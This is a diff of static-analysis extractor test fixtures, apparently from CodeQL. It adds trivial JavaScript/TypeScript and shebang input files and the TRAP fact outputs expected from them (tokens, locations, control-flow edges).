#20040=@"var;{c};{#20039}"
|
||||
variables(#20040,"c",#20039)
|
||||
#20041=*
|
||||
exprs(#20041,78,#20037,0,"c")
|
||||
#20042=@"loc,{#10000},8,2,8,2"
|
||||
locations_default(#20042,#10000,8,2,8,2)
|
||||
hasLocation(#20041,#20042)
|
||||
exprContainers(#20041,#20037)
|
||||
literals("c","c",#20041)
|
||||
decl(#20041,#20040)
|
||||
#20043=*
|
||||
exprs(#20043,79,#20037,-2,"c")
|
||||
#20044=@"loc,{#10000},8,25,8,25"
|
||||
locations_default(#20044,#10000,8,25,8,25)
|
||||
hasLocation(#20043,#20044)
|
||||
exprContainers(#20043,#20037)
|
||||
literals("c","c",#20043)
|
||||
bind(#20043,#20040)
|
||||
numlines(#20037,1,1,0)
|
||||
#20045=*
|
||||
stmts(#20045,2,#20001,4,"(d): %checks => d;")
|
||||
#20046=@"loc,{#10000},9,1,9,18"
|
||||
locations_default(#20046,#10000,9,1,9,18)
|
||||
hasLocation(#20045,#20046)
|
||||
stmtContainers(#20045,#20001)
|
||||
#20047=*
|
||||
exprs(#20047,65,#20045,0,"(d): %checks => d")
|
||||
#20048=@"loc,{#10000},9,1,9,17"
|
||||
locations_default(#20048,#10000,9,1,9,17)
|
||||
hasLocation(#20047,#20048)
|
||||
enclosingStmt(#20047,#20045)
|
||||
exprContainers(#20047,#20001)
|
||||
#20049=*
|
||||
scopes(#20049,1)
|
||||
scopenodes(#20047,#20049)
|
||||
scopenesting(#20049,#20000)
|
||||
#20050=@"var;{d};{#20049}"
|
||||
variables(#20050,"d",#20049)
|
||||
#20051=*
|
||||
exprs(#20051,78,#20047,0,"d")
|
||||
#20052=@"loc,{#10000},9,2,9,2"
|
||||
locations_default(#20052,#10000,9,2,9,2)
|
||||
hasLocation(#20051,#20052)
|
||||
exprContainers(#20051,#20047)
|
||||
literals("d","d",#20051)
|
||||
decl(#20051,#20050)
|
||||
#20053=*
|
||||
exprs(#20053,79,#20047,-2,"d")
|
||||
#20054=@"loc,{#10000},9,17,9,17"
|
||||
locations_default(#20054,#10000,9,17,9,17)
|
||||
hasLocation(#20053,#20054)
|
||||
exprContainers(#20053,#20047)
|
||||
literals("d","d",#20053)
|
||||
bind(#20053,#20050)
|
||||
numlines(#20047,1,1,0)
|
||||
#20055=*
|
||||
lines(#20055,#20001,"function f(a): boolean %checks {","
|
||||
")
|
||||
#20056=@"loc,{#10000},1,1,1,32"
|
||||
locations_default(#20056,#10000,1,1,1,32)
|
||||
hasLocation(#20055,#20056)
|
||||
#20057=*
|
||||
lines(#20057,#20001," return a;","
|
||||
")
|
||||
#20058=@"loc,{#10000},2,1,2,13"
|
||||
locations_default(#20058,#10000,2,1,2,13)
|
||||
hasLocation(#20057,#20058)
|
||||
indentation(#10000,2," ",4)
|
||||
#20059=*
|
||||
lines(#20059,#20001,"}","
|
||||
")
|
||||
#20060=@"loc,{#10000},3,1,3,1"
|
||||
locations_default(#20060,#10000,3,1,3,1)
|
||||
hasLocation(#20059,#20060)
|
||||
#20061=*
|
||||
lines(#20061,#20001,"function g(): %checks {} {","
|
||||
")
|
||||
#20062=@"loc,{#10000},4,1,4,26"
|
||||
locations_default(#20062,#10000,4,1,4,26)
|
||||
hasLocation(#20061,#20062)
|
||||
#20063=*
|
||||
lines(#20063,#20001," return b;","
|
||||
")
|
||||
#20064=@"loc,{#10000},5,1,5,13"
|
||||
locations_default(#20064,#10000,5,1,5,13)
|
||||
hasLocation(#20063,#20064)
|
||||
indentation(#10000,5," ",4)
|
||||
#20065=*
|
||||
lines(#20065,#20001,"}","
|
||||
")
|
||||
#20066=@"loc,{#10000},6,1,6,1"
|
||||
locations_default(#20066,#10000,6,1,6,1)
|
||||
hasLocation(#20065,#20066)
|
||||
#20067=*
|
||||
lines(#20067,#20001,"","
|
||||
")
|
||||
#20068=@"loc,{#10000},7,1,7,0"
|
||||
locations_default(#20068,#10000,7,1,7,0)
|
||||
hasLocation(#20067,#20068)
|
||||
#20069=*
|
||||
lines(#20069,#20001,"(c): boolean %checks => c;","
|
||||
")
|
||||
hasLocation(#20069,#20036)
|
||||
#20070=*
|
||||
lines(#20070,#20001,"(d): %checks => d;","
|
||||
")
|
||||
hasLocation(#20070,#20046)
|
||||
numlines(#20001,9,8,0)
|
||||
#20071=*
|
||||
tokeninfo(#20071,7,#20001,0,"function")
|
||||
#20072=@"loc,{#10000},1,1,1,8"
|
||||
locations_default(#20072,#10000,1,1,1,8)
|
||||
hasLocation(#20071,#20072)
|
||||
#20073=*
|
||||
tokeninfo(#20073,6,#20001,1,"f")
|
||||
hasLocation(#20073,#20008)
|
||||
#20074=*
|
||||
tokeninfo(#20074,8,#20001,2,"(")
|
||||
#20075=@"loc,{#10000},1,11,1,11"
|
||||
locations_default(#20075,#10000,1,11,1,11)
|
||||
hasLocation(#20074,#20075)
|
||||
#20076=*
|
||||
tokeninfo(#20076,6,#20001,3,"a")
|
||||
hasLocation(#20076,#20012)
|
||||
#20077=*
|
||||
tokeninfo(#20077,8,#20001,4,")")
|
||||
#20078=@"loc,{#10000},1,13,1,13"
|
||||
locations_default(#20078,#10000,1,13,1,13)
|
||||
hasLocation(#20077,#20078)
|
||||
#20079=*
|
||||
tokeninfo(#20079,8,#20001,5,":")
|
||||
#20080=@"loc,{#10000},1,14,1,14"
|
||||
locations_default(#20080,#10000,1,14,1,14)
|
||||
hasLocation(#20079,#20080)
|
||||
#20081=*
|
||||
tokeninfo(#20081,6,#20001,6,"boolean")
|
||||
#20082=@"loc,{#10000},1,16,1,22"
|
||||
locations_default(#20082,#10000,1,16,1,22)
|
||||
hasLocation(#20081,#20082)
|
||||
#20083=*
|
||||
tokeninfo(#20083,8,#20001,7,"%")
|
||||
#20084=@"loc,{#10000},1,24,1,24"
|
||||
locations_default(#20084,#10000,1,24,1,24)
|
||||
hasLocation(#20083,#20084)
|
||||
#20085=*
|
||||
tokeninfo(#20085,6,#20001,8,"checks")
|
||||
#20086=@"loc,{#10000},1,25,1,30"
|
||||
locations_default(#20086,#10000,1,25,1,30)
|
||||
hasLocation(#20085,#20086)
|
||||
#20087=*
|
||||
tokeninfo(#20087,8,#20001,9,"{")
|
||||
#20088=@"loc,{#10000},1,32,1,32"
|
||||
locations_default(#20088,#10000,1,32,1,32)
|
||||
hasLocation(#20087,#20088)
|
||||
#20089=*
|
||||
tokeninfo(#20089,7,#20001,10,"return")
|
||||
#20090=@"loc,{#10000},2,5,2,10"
|
||||
locations_default(#20090,#10000,2,5,2,10)
|
||||
hasLocation(#20089,#20090)
|
||||
#20091=*
|
||||
tokeninfo(#20091,6,#20001,11,"a")
|
||||
hasLocation(#20091,#20019)
|
||||
#20092=*
|
||||
tokeninfo(#20092,8,#20001,12,";")
|
||||
#20093=@"loc,{#10000},2,13,2,13"
|
||||
locations_default(#20093,#10000,2,13,2,13)
|
||||
hasLocation(#20092,#20093)
|
||||
#20094=*
|
||||
tokeninfo(#20094,8,#20001,13,"}")
|
||||
hasLocation(#20094,#20060)
|
||||
#20095=*
|
||||
tokeninfo(#20095,7,#20001,14,"function")
|
||||
#20096=@"loc,{#10000},4,1,4,8"
|
||||
locations_default(#20096,#10000,4,1,4,8)
|
||||
hasLocation(#20095,#20096)
|
||||
#20097=*
|
||||
tokeninfo(#20097,6,#20001,15,"g")
|
||||
hasLocation(#20097,#20023)
|
||||
#20098=*
|
||||
tokeninfo(#20098,8,#20001,16,"(")
|
||||
#20099=@"loc,{#10000},4,11,4,11"
|
||||
locations_default(#20099,#10000,4,11,4,11)
|
||||
hasLocation(#20098,#20099)
|
||||
#20100=*
|
||||
tokeninfo(#20100,8,#20001,17,")")
|
||||
#20101=@"loc,{#10000},4,12,4,12"
|
||||
locations_default(#20101,#10000,4,12,4,12)
|
||||
hasLocation(#20100,#20101)
|
||||
#20102=*
|
||||
tokeninfo(#20102,8,#20001,18,":")
|
||||
#20103=@"loc,{#10000},4,13,4,13"
|
||||
locations_default(#20103,#10000,4,13,4,13)
|
||||
hasLocation(#20102,#20103)
|
||||
#20104=*
|
||||
tokeninfo(#20104,8,#20001,19,"%")
|
||||
#20105=@"loc,{#10000},4,15,4,15"
|
||||
locations_default(#20105,#10000,4,15,4,15)
|
||||
hasLocation(#20104,#20105)
|
||||
#20106=*
|
||||
tokeninfo(#20106,6,#20001,20,"checks")
|
||||
#20107=@"loc,{#10000},4,16,4,21"
|
||||
locations_default(#20107,#10000,4,16,4,21)
|
||||
hasLocation(#20106,#20107)
|
||||
#20108=*
|
||||
tokeninfo(#20108,8,#20001,21,"{")
|
||||
#20109=@"loc,{#10000},4,23,4,23"
|
||||
locations_default(#20109,#10000,4,23,4,23)
|
||||
hasLocation(#20108,#20109)
|
||||
#20110=*
|
||||
tokeninfo(#20110,8,#20001,22,"}")
|
||||
#20111=@"loc,{#10000},4,24,4,24"
|
||||
locations_default(#20111,#10000,4,24,4,24)
|
||||
hasLocation(#20110,#20111)
|
||||
#20112=*
|
||||
tokeninfo(#20112,8,#20001,23,"{")
|
||||
#20113=@"loc,{#10000},4,26,4,26"
|
||||
locations_default(#20113,#10000,4,26,4,26)
|
||||
hasLocation(#20112,#20113)
|
||||
#20114=*
|
||||
tokeninfo(#20114,7,#20001,24,"return")
|
||||
#20115=@"loc,{#10000},5,5,5,10"
|
||||
locations_default(#20115,#10000,5,5,5,10)
|
||||
hasLocation(#20114,#20115)
|
||||
#20116=*
|
||||
tokeninfo(#20116,6,#20001,25,"b")
|
||||
hasLocation(#20116,#20033)
|
||||
#20117=*
|
||||
tokeninfo(#20117,8,#20001,26,";")
|
||||
#20118=@"loc,{#10000},5,13,5,13"
|
||||
locations_default(#20118,#10000,5,13,5,13)
|
||||
hasLocation(#20117,#20118)
|
||||
#20119=*
|
||||
tokeninfo(#20119,8,#20001,27,"}")
|
||||
hasLocation(#20119,#20066)
|
||||
#20120=*
|
||||
tokeninfo(#20120,8,#20001,28,"(")
|
||||
#20121=@"loc,{#10000},8,1,8,1"
|
||||
locations_default(#20121,#10000,8,1,8,1)
|
||||
hasLocation(#20120,#20121)
|
||||
#20122=*
|
||||
tokeninfo(#20122,6,#20001,29,"c")
|
||||
hasLocation(#20122,#20042)
|
||||
#20123=*
|
||||
tokeninfo(#20123,8,#20001,30,")")
|
||||
#20124=@"loc,{#10000},8,3,8,3"
|
||||
locations_default(#20124,#10000,8,3,8,3)
|
||||
hasLocation(#20123,#20124)
|
||||
#20125=*
|
||||
tokeninfo(#20125,8,#20001,31,":")
|
||||
#20126=@"loc,{#10000},8,4,8,4"
|
||||
locations_default(#20126,#10000,8,4,8,4)
|
||||
hasLocation(#20125,#20126)
|
||||
#20127=*
|
||||
tokeninfo(#20127,6,#20001,32,"boolean")
|
||||
#20128=@"loc,{#10000},8,6,8,12"
|
||||
locations_default(#20128,#10000,8,6,8,12)
|
||||
hasLocation(#20127,#20128)
|
||||
#20129=*
|
||||
tokeninfo(#20129,8,#20001,33,"%")
|
||||
#20130=@"loc,{#10000},8,14,8,14"
|
||||
locations_default(#20130,#10000,8,14,8,14)
|
||||
hasLocation(#20129,#20130)
|
||||
#20131=*
|
||||
tokeninfo(#20131,6,#20001,34,"checks")
|
||||
#20132=@"loc,{#10000},8,15,8,20"
|
||||
locations_default(#20132,#10000,8,15,8,20)
|
||||
hasLocation(#20131,#20132)
|
||||
#20133=*
|
||||
tokeninfo(#20133,8,#20001,35,"=>")
|
||||
#20134=@"loc,{#10000},8,22,8,23"
|
||||
locations_default(#20134,#10000,8,22,8,23)
|
||||
hasLocation(#20133,#20134)
|
||||
#20135=*
|
||||
tokeninfo(#20135,6,#20001,36,"c")
|
||||
hasLocation(#20135,#20044)
|
||||
#20136=*
|
||||
tokeninfo(#20136,8,#20001,37,";")
|
||||
#20137=@"loc,{#10000},8,26,8,26"
|
||||
locations_default(#20137,#10000,8,26,8,26)
|
||||
hasLocation(#20136,#20137)
|
||||
#20138=*
|
||||
tokeninfo(#20138,8,#20001,38,"(")
|
||||
#20139=@"loc,{#10000},9,1,9,1"
|
||||
locations_default(#20139,#10000,9,1,9,1)
|
||||
hasLocation(#20138,#20139)
|
||||
#20140=*
|
||||
tokeninfo(#20140,6,#20001,39,"d")
|
||||
hasLocation(#20140,#20052)
|
||||
#20141=*
|
||||
tokeninfo(#20141,8,#20001,40,")")
|
||||
#20142=@"loc,{#10000},9,3,9,3"
|
||||
locations_default(#20142,#10000,9,3,9,3)
|
||||
hasLocation(#20141,#20142)
|
||||
#20143=*
|
||||
tokeninfo(#20143,8,#20001,41,":")
|
||||
#20144=@"loc,{#10000},9,4,9,4"
|
||||
locations_default(#20144,#10000,9,4,9,4)
|
||||
hasLocation(#20143,#20144)
|
||||
#20145=*
|
||||
tokeninfo(#20145,8,#20001,42,"%")
|
||||
#20146=@"loc,{#10000},9,6,9,6"
|
||||
locations_default(#20146,#10000,9,6,9,6)
|
||||
hasLocation(#20145,#20146)
|
||||
#20147=*
|
||||
tokeninfo(#20147,6,#20001,43,"checks")
|
||||
#20148=@"loc,{#10000},9,7,9,12"
|
||||
locations_default(#20148,#10000,9,7,9,12)
|
||||
hasLocation(#20147,#20148)
|
||||
#20149=*
|
||||
tokeninfo(#20149,8,#20001,44,"=>")
|
||||
#20150=@"loc,{#10000},9,14,9,15"
|
||||
locations_default(#20150,#10000,9,14,9,15)
|
||||
hasLocation(#20149,#20150)
|
||||
#20151=*
|
||||
tokeninfo(#20151,6,#20001,45,"d")
|
||||
hasLocation(#20151,#20054)
|
||||
#20152=*
|
||||
tokeninfo(#20152,8,#20001,46,";")
|
||||
#20153=@"loc,{#10000},9,18,9,18"
|
||||
locations_default(#20153,#10000,9,18,9,18)
|
||||
hasLocation(#20152,#20153)
|
||||
#20154=*
|
||||
tokeninfo(#20154,0,#20001,47,"")
|
||||
#20155=@"loc,{#10000},10,1,10,0"
|
||||
locations_default(#20155,#10000,10,1,10,0)
|
||||
hasLocation(#20154,#20155)
|
||||
#20156=*
|
||||
entry_cfg_node(#20156,#20001)
|
||||
#20157=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20157,#10000,1,1,1,0)
|
||||
hasLocation(#20156,#20157)
|
||||
#20158=*
|
||||
exit_cfg_node(#20158,#20001)
|
||||
hasLocation(#20158,#20155)
|
||||
successor(#20045,#20047)
|
||||
successor(#20047,#20158)
|
||||
#20159=*
|
||||
entry_cfg_node(#20159,#20047)
|
||||
#20160=@"loc,{#10000},9,1,9,0"
|
||||
locations_default(#20160,#10000,9,1,9,0)
|
||||
hasLocation(#20159,#20160)
|
||||
#20161=*
|
||||
exit_cfg_node(#20161,#20047)
|
||||
#20162=@"loc,{#10000},9,18,9,17"
|
||||
locations_default(#20162,#10000,9,18,9,17)
|
||||
hasLocation(#20161,#20162)
|
||||
successor(#20053,#20161)
|
||||
successor(#20051,#20053)
|
||||
successor(#20159,#20051)
|
||||
successor(#20035,#20037)
|
||||
successor(#20037,#20045)
|
||||
#20163=*
|
||||
entry_cfg_node(#20163,#20037)
|
||||
#20164=@"loc,{#10000},8,1,8,0"
|
||||
locations_default(#20164,#10000,8,1,8,0)
|
||||
hasLocation(#20163,#20164)
|
||||
#20165=*
|
||||
exit_cfg_node(#20165,#20037)
|
||||
#20166=@"loc,{#10000},8,26,8,25"
|
||||
locations_default(#20166,#10000,8,26,8,25)
|
||||
hasLocation(#20165,#20166)
|
||||
successor(#20043,#20165)
|
||||
successor(#20041,#20043)
|
||||
successor(#20163,#20041)
|
||||
successor(#20028,#20032)
|
||||
successor(#20032,#20030)
|
||||
successor(#20030,#20158)
|
||||
successor(#20020,#20028)
|
||||
#20167=*
|
||||
entry_cfg_node(#20167,#20020)
|
||||
#20168=@"loc,{#10000},4,1,4,0"
|
||||
locations_default(#20168,#10000,4,1,4,0)
|
||||
hasLocation(#20167,#20168)
|
||||
#20169=*
|
||||
exit_cfg_node(#20169,#20020)
|
||||
#20170=@"loc,{#10000},4,25,4,24"
|
||||
locations_default(#20170,#10000,4,25,4,24)
|
||||
hasLocation(#20169,#20170)
|
||||
successor(#20026,#20169)
|
||||
successor(#20167,#20026)
|
||||
successor(#20005,#20020)
|
||||
#20171=*
|
||||
entry_cfg_node(#20171,#20005)
|
||||
hasLocation(#20171,#20157)
|
||||
#20172=*
|
||||
exit_cfg_node(#20172,#20005)
|
||||
#20173=@"loc,{#10000},3,2,3,1"
|
||||
locations_default(#20173,#10000,3,2,3,1)
|
||||
hasLocation(#20172,#20173)
|
||||
successor(#20014,#20018)
|
||||
successor(#20018,#20016)
|
||||
successor(#20016,#20172)
|
||||
successor(#20011,#20014)
|
||||
successor(#20171,#20011)
|
||||
successor(#20022,#20005)
|
||||
successor(#20007,#20022)
|
||||
successor(#20156,#20007)
|
||||
numlines(#10000,9,8,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,5 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
use strict;
|
||||
|
||||
exit 0;
|
||||
@@ -0,0 +1,4 @@
|
||||
#!/usr/bin/env node
|
||||
interface Foo {
|
||||
x: number;
|
||||
}
|
||||
3
javascript/extractor/tests/shebang/input/typescript.ts
Normal file
3
javascript/extractor/tests/shebang/input/typescript.ts
Normal file
@@ -0,0 +1,3 @@
|
||||
interface Foo {
|
||||
x: number;
|
||||
}
|
||||
3
javascript/extractor/tests/shebang/options.json
Normal file
3
javascript/extractor/tests/shebang/options.json
Normal file
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"typescript": true
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
#10000=@"/typescript-with-shebang.ts;sourcefile"
|
||||
files(#10000,"/typescript-with-shebang.ts","typescript-with-shebang","ts",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,5,0"
|
||||
locations_default(#20002,#10000,1,1,5,0)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=@"local_type_name;{Foo};{#20000}"
|
||||
local_type_names(#20003,"Foo",#20000)
|
||||
#20004=*
|
||||
stmts(#20004,34,#20001,0,"#!/usr/ ... mber;\n}")
|
||||
#20005=@"loc,{#10000},1,1,4,1"
|
||||
locations_default(#20005,#10000,1,1,4,1)
|
||||
hasLocation(#20004,#20005)
|
||||
stmtContainers(#20004,#20001)
|
||||
#20006=*
|
||||
typeexprs(#20006,1,#20004,0,"Foo")
|
||||
#20007=@"loc,{#10000},2,11,2,13"
|
||||
locations_default(#20007,#10000,2,11,2,13)
|
||||
hasLocation(#20006,#20007)
|
||||
enclosingStmt(#20006,#20004)
|
||||
exprContainers(#20006,#20001)
|
||||
literals("Foo","Foo",#20006)
|
||||
typedecl(#20006,#20003)
|
||||
#20008=*
|
||||
properties(#20008,#20004,2,8,"x: number;")
|
||||
#20009=@"loc,{#10000},3,3,3,12"
|
||||
locations_default(#20009,#10000,3,3,3,12)
|
||||
hasLocation(#20008,#20009)
|
||||
#20010=*
|
||||
exprs(#20010,0,#20008,0,"x")
|
||||
#20011=@"loc,{#10000},3,3,3,3"
|
||||
locations_default(#20011,#10000,3,3,3,3)
|
||||
hasLocation(#20010,#20011)
|
||||
enclosingStmt(#20010,#20004)
|
||||
exprContainers(#20010,#20001)
|
||||
literals("x","x",#20010)
|
||||
isAbstractMember(#20008)
|
||||
#20012=*
|
||||
typeexprs(#20012,2,#20008,2,"number")
|
||||
#20013=@"loc,{#10000},3,6,3,11"
|
||||
locations_default(#20013,#10000,3,6,3,11)
|
||||
hasLocation(#20012,#20013)
|
||||
enclosingStmt(#20012,#20004)
|
||||
exprContainers(#20012,#20001)
|
||||
literals("number","number",#20012)
|
||||
#20014=*
|
||||
lines(#20014,#20001,"#!/usr/bin/env node","
|
||||
")
|
||||
#20015=@"loc,{#10000},1,1,1,19"
|
||||
locations_default(#20015,#10000,1,1,1,19)
|
||||
hasLocation(#20014,#20015)
|
||||
#20016=*
|
||||
lines(#20016,#20001,"interface Foo {","
|
||||
")
|
||||
#20017=@"loc,{#10000},2,1,2,15"
|
||||
locations_default(#20017,#10000,2,1,2,15)
|
||||
hasLocation(#20016,#20017)
|
||||
#20018=*
|
||||
lines(#20018,#20001," x: number;","
|
||||
")
|
||||
#20019=@"loc,{#10000},3,1,3,12"
|
||||
locations_default(#20019,#10000,3,1,3,12)
|
||||
hasLocation(#20018,#20019)
|
||||
indentation(#10000,3," ",2)
|
||||
#20020=*
|
||||
lines(#20020,#20001,"}","
|
||||
")
|
||||
#20021=@"loc,{#10000},4,1,4,1"
|
||||
locations_default(#20021,#10000,4,1,4,1)
|
||||
hasLocation(#20020,#20021)
|
||||
numlines(#20001,4,3,0)
|
||||
#20022=*
|
||||
tokeninfo(#20022,7,#20001,0,"interface")
|
||||
#20023=@"loc,{#10000},2,1,2,9"
|
||||
locations_default(#20023,#10000,2,1,2,9)
|
||||
hasLocation(#20022,#20023)
|
||||
#20024=*
|
||||
tokeninfo(#20024,6,#20001,1,"Foo")
|
||||
hasLocation(#20024,#20007)
|
||||
#20025=*
|
||||
tokeninfo(#20025,8,#20001,2,"{")
|
||||
#20026=@"loc,{#10000},2,15,2,15"
|
||||
locations_default(#20026,#10000,2,15,2,15)
|
||||
hasLocation(#20025,#20026)
|
||||
#20027=*
|
||||
tokeninfo(#20027,6,#20001,3,"x")
|
||||
hasLocation(#20027,#20011)
|
||||
#20028=*
|
||||
tokeninfo(#20028,8,#20001,4,":")
|
||||
#20029=@"loc,{#10000},3,4,3,4"
|
||||
locations_default(#20029,#10000,3,4,3,4)
|
||||
hasLocation(#20028,#20029)
|
||||
#20030=*
|
||||
tokeninfo(#20030,7,#20001,5,"number")
|
||||
hasLocation(#20030,#20013)
|
||||
#20031=*
|
||||
tokeninfo(#20031,8,#20001,6,";")
|
||||
#20032=@"loc,{#10000},3,12,3,12"
|
||||
locations_default(#20032,#10000,3,12,3,12)
|
||||
hasLocation(#20031,#20032)
|
||||
#20033=*
|
||||
tokeninfo(#20033,8,#20001,7,"}")
|
||||
hasLocation(#20033,#20021)
|
||||
#20034=*
|
||||
tokeninfo(#20034,0,#20001,8,"")
|
||||
#20035=@"loc,{#10000},5,1,5,0"
|
||||
locations_default(#20035,#10000,5,1,5,0)
|
||||
hasLocation(#20034,#20035)
|
||||
#20036=*
|
||||
entry_cfg_node(#20036,#20001)
|
||||
#20037=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20037,#10000,1,1,1,0)
|
||||
hasLocation(#20036,#20037)
|
||||
#20038=*
|
||||
exit_cfg_node(#20038,#20001)
|
||||
hasLocation(#20038,#20035)
|
||||
successor(#20004,#20038)
|
||||
successor(#20036,#20004)
|
||||
numlines(#10000,4,3,0)
|
||||
filetype(#10000,"typescript")
|
||||
@@ -0,0 +1,123 @@
|
||||
#10000=@"/typescript.ts;sourcefile"
|
||||
files(#10000,"/typescript.ts","typescript","ts",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,4,0"
|
||||
locations_default(#20002,#10000,1,1,4,0)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=@"local_type_name;{Foo};{#20000}"
|
||||
local_type_names(#20003,"Foo",#20000)
|
||||
#20004=*
|
||||
stmts(#20004,34,#20001,0,"interfa ... mber;\n}")
|
||||
#20005=@"loc,{#10000},1,1,3,1"
|
||||
locations_default(#20005,#10000,1,1,3,1)
|
||||
hasLocation(#20004,#20005)
|
||||
stmtContainers(#20004,#20001)
|
||||
#20006=*
|
||||
typeexprs(#20006,1,#20004,0,"Foo")
|
||||
#20007=@"loc,{#10000},1,11,1,13"
|
||||
locations_default(#20007,#10000,1,11,1,13)
|
||||
hasLocation(#20006,#20007)
|
||||
enclosingStmt(#20006,#20004)
|
||||
exprContainers(#20006,#20001)
|
||||
literals("Foo","Foo",#20006)
|
||||
typedecl(#20006,#20003)
|
||||
#20008=*
|
||||
properties(#20008,#20004,2,8,"x: number;")
|
||||
#20009=@"loc,{#10000},2,3,2,12"
|
||||
locations_default(#20009,#10000,2,3,2,12)
|
||||
hasLocation(#20008,#20009)
|
||||
#20010=*
|
||||
exprs(#20010,0,#20008,0,"x")
|
||||
#20011=@"loc,{#10000},2,3,2,3"
|
||||
locations_default(#20011,#10000,2,3,2,3)
|
||||
hasLocation(#20010,#20011)
|
||||
enclosingStmt(#20010,#20004)
|
||||
exprContainers(#20010,#20001)
|
||||
literals("x","x",#20010)
|
||||
isAbstractMember(#20008)
|
||||
#20012=*
|
||||
typeexprs(#20012,2,#20008,2,"number")
|
||||
#20013=@"loc,{#10000},2,6,2,11"
|
||||
locations_default(#20013,#10000,2,6,2,11)
|
||||
hasLocation(#20012,#20013)
|
||||
enclosingStmt(#20012,#20004)
|
||||
exprContainers(#20012,#20001)
|
||||
literals("number","number",#20012)
|
||||
#20014=*
|
||||
lines(#20014,#20001,"interface Foo {","
|
||||
")
|
||||
#20015=@"loc,{#10000},1,1,1,15"
|
||||
locations_default(#20015,#10000,1,1,1,15)
|
||||
hasLocation(#20014,#20015)
|
||||
#20016=*
|
||||
lines(#20016,#20001," x: number;","
|
||||
")
|
||||
#20017=@"loc,{#10000},2,1,2,12"
|
||||
locations_default(#20017,#10000,2,1,2,12)
|
||||
hasLocation(#20016,#20017)
|
||||
indentation(#10000,2," ",2)
|
||||
#20018=*
|
||||
lines(#20018,#20001,"}","
|
||||
")
|
||||
#20019=@"loc,{#10000},3,1,3,1"
|
||||
locations_default(#20019,#10000,3,1,3,1)
|
||||
hasLocation(#20018,#20019)
|
||||
numlines(#20001,3,3,0)
|
||||
#20020=*
|
||||
tokeninfo(#20020,7,#20001,0,"interface")
|
||||
#20021=@"loc,{#10000},1,1,1,9"
|
||||
locations_default(#20021,#10000,1,1,1,9)
|
||||
hasLocation(#20020,#20021)
|
||||
#20022=*
|
||||
tokeninfo(#20022,6,#20001,1,"Foo")
|
||||
hasLocation(#20022,#20007)
|
||||
#20023=*
|
||||
tokeninfo(#20023,8,#20001,2,"{")
|
||||
#20024=@"loc,{#10000},1,15,1,15"
|
||||
locations_default(#20024,#10000,1,15,1,15)
|
||||
hasLocation(#20023,#20024)
|
||||
#20025=*
|
||||
tokeninfo(#20025,6,#20001,3,"x")
|
||||
hasLocation(#20025,#20011)
|
||||
#20026=*
|
||||
tokeninfo(#20026,8,#20001,4,":")
|
||||
#20027=@"loc,{#10000},2,4,2,4"
|
||||
locations_default(#20027,#10000,2,4,2,4)
|
||||
hasLocation(#20026,#20027)
|
||||
#20028=*
|
||||
tokeninfo(#20028,7,#20001,5,"number")
|
||||
hasLocation(#20028,#20013)
|
||||
#20029=*
|
||||
tokeninfo(#20029,8,#20001,6,";")
|
||||
#20030=@"loc,{#10000},2,12,2,12"
|
||||
locations_default(#20030,#10000,2,12,2,12)
|
||||
hasLocation(#20029,#20030)
|
||||
#20031=*
|
||||
tokeninfo(#20031,8,#20001,7,"}")
|
||||
hasLocation(#20031,#20019)
|
||||
#20032=*
|
||||
tokeninfo(#20032,0,#20001,8,"")
|
||||
#20033=@"loc,{#10000},4,1,4,0"
|
||||
locations_default(#20033,#10000,4,1,4,0)
|
||||
hasLocation(#20032,#20033)
|
||||
#20034=*
|
||||
entry_cfg_node(#20034,#20001)
|
||||
#20035=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20035,#10000,1,1,1,0)
|
||||
hasLocation(#20034,#20035)
|
||||
#20036=*
|
||||
exit_cfg_node(#20036,#20001)
|
||||
hasLocation(#20036,#20033)
|
||||
successor(#20004,#20036)
|
||||
successor(#20034,#20004)
|
||||
numlines(#10000,3,3,0)
|
||||
filetype(#10000,"typescript")
|
||||
4
javascript/extractor/tests/ts/input/logicalOr.ts
Normal file
4
javascript/extractor/tests/ts/input/logicalOr.ts
Normal file
@@ -0,0 +1,4 @@
|
||||
function f(x,y) {
|
||||
if (x || y) {}
|
||||
if (x && y) {}
|
||||
}
|
||||
@@ -326,11 +326,11 @@ hasLocation(#20098,#20096)
|
||||
exit_cfg_node(#20099,#20004)
|
||||
hasLocation(#20099,#20094)
|
||||
successor(#20012,#20017)
|
||||
successor(#20033,#20037)
|
||||
successor(#20043,#20035)
|
||||
successor(#20033,#20043)
|
||||
successor(#20037,#20039)
|
||||
successor(#20041,#20043)
|
||||
successor(#20041,#20035)
|
||||
successor(#20039,#20041)
|
||||
successor(#20043,#20037)
|
||||
successor(#20035,#20099)
|
||||
successor(#20025,#20027)
|
||||
successor(#20027,#20029)
|
||||
|
||||
351
javascript/extractor/tests/ts/output/trap/logicalOr.ts.trap
Normal file
351
javascript/extractor/tests/ts/output/trap/logicalOr.ts.trap
Normal file
@@ -0,0 +1,351 @@
|
||||
#10000=@"/logicalOr.ts;sourcefile"
|
||||
files(#10000,"/logicalOr.ts","logicalOr","ts",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
